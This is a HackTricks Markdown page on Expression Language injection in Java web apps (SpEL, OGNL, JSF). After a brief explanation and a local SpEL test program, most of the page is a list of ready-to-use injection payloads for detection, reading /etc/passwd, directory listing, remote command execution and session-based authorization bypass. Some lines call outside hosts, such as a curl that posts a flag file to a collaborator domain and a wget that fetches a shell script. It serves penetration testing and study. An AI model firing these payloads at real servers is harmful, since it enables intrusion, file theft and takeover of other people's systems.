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https://github.com/carlospolop/hacktricks
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297 lines
15 KiB
Markdown
297 lines
15 KiB
Markdown
# EL - Expression Language
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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### [WhiteIntel](https://whiteintel.io)
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<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
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[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
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Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
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You can check their website and try their engine for **free** at:
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{% embed url="https://whiteintel.io" %}
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***
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## Bsic Info
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Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
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* **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
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* **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
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* **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
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**Usage Contexts**:
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* **Spring Framework**: Applied in various modules like Security and Data.
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* **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
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EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
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{% hint style="info" %}
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Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
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{% endhint %}
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## Basic Example
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(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
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Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
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* `commons-lang3-3.9.jar`
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* `spring-core-5.2.1.RELEASE.jar`
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* `commons-logging-1.2.jar`
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* `spring-expression-5.2.1.RELEASE.jar`
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And create a the following `Main.java` file:
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```java
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import org.springframework.expression.Expression;
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import org.springframework.expression.ExpressionParser;
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import org.springframework.expression.spel.standard.SpelExpressionParser;
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public class Main {
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public static ExpressionParser PARSER;
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public static void main(String[] args) throws Exception {
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PARSER = new SpelExpressionParser();
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System.out.println("Enter a String to evaluate:");
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java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
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String input = stdin.readLine();
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Expression exp = PARSER.parseExpression(input);
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String result = exp.getValue().toString();
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System.out.println(result);
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}
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}
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```
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Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
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```java
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javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
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```
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Execute the application with:
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```java
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java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
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Enter a String to evaluate:
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{5*5}
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[25]
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```
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Note how in the previous example the term `{5*5}` was **evaluated**.
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## **CVE Based Tutorial**
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Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
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## Payloads
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### Basic actions
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```bash
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#Basic string operations examples
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{"a".toString()}
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[a]
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{"dfd".replace("d","x")}
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[xfx]
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#Access to the String class
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{"".getClass()}
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[class java.lang.String]
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#Access ro the String class bypassing "getClass"
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#{""["class"]}
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#Access to arbitrary class
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{"".getClass().forName("java.util.Date")}
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[class java.util.Date]
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#List methods of a class
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{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
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[public boolean java.util.Date.equals(java.lang.Object)]
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```
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### Detection
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* Burp detection
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```bash
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gk6q${"zkz".toString().replace("k", "x")}doap2
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#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
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```
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* J2EE detection
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```bash
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#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
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https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
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```
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* Sleep 10 secs
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```bash
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#Blind detection vector (sleep during 10 seconds)
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
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```
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### Remote File Inclusion
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
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```
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### Directory Listing
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
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```
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### RCE
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* Basic RCE **explanation**
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```bash
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#Check the method getRuntime is there
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{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
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[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
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#Execute command (you won't see the command output in the console)
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{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
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[Process[pid=10892, exitValue=0]]
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#Execute command bypassing "getClass"
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#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
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# With HTMl entities injection inside the template
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<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
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```
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* RCE **linux**
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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* RCE **Windows** (not tested)
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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* **More RCE**
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```java
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// Common RCE payloads
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''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
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''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
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// Method using Runtime via getDeclaredConstructors
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#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
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#{session.getAttribute("rtc").setAccessible(true)}
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#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
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// Method using processbuilder
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${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
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${request.getAttribute("c").add("cmd.exe")}
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${request.getAttribute("c").add("/k")}
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${request.getAttribute("c").add("ping x.x.x.x")}
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${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
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${request.getAttribute("a")}
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// Method using Reflection & Invoke
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${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
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// Method using ScriptEngineManager one-liner
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${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
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// Method using ScriptEngineManager
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
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${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
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//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
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(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
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T(java.lang.System).getenv()[0]
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T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
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T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
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''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
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```
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### Inspecting the environment
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* `applicationScope` - global application variables
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* `requestScope` - request variables
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* `initParam` - application initialization variables
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* `sessionScope` - session variables
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* `param.X` - param value where X is the name of a http parameter
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You will need to cast this variables to String like:
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```bash
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${sessionScope.toString()}
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```
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#### Authorization bypass example
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```bash
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${pageContext.request.getSession().setAttribute("admin", true)}
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```
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The application can also use custom variables like:
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```bash
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${user}
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${password}
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${employee.FirstName}
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```
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## WAF Bypass
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Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
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## References
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* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
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* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
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* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
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### [WhiteIntel](https://whiteintel.io)
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<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
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[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
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Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
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You can check their website and try their engine for **free** at:
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{% embed url="https://whiteintel.io" %}
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<details>
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|
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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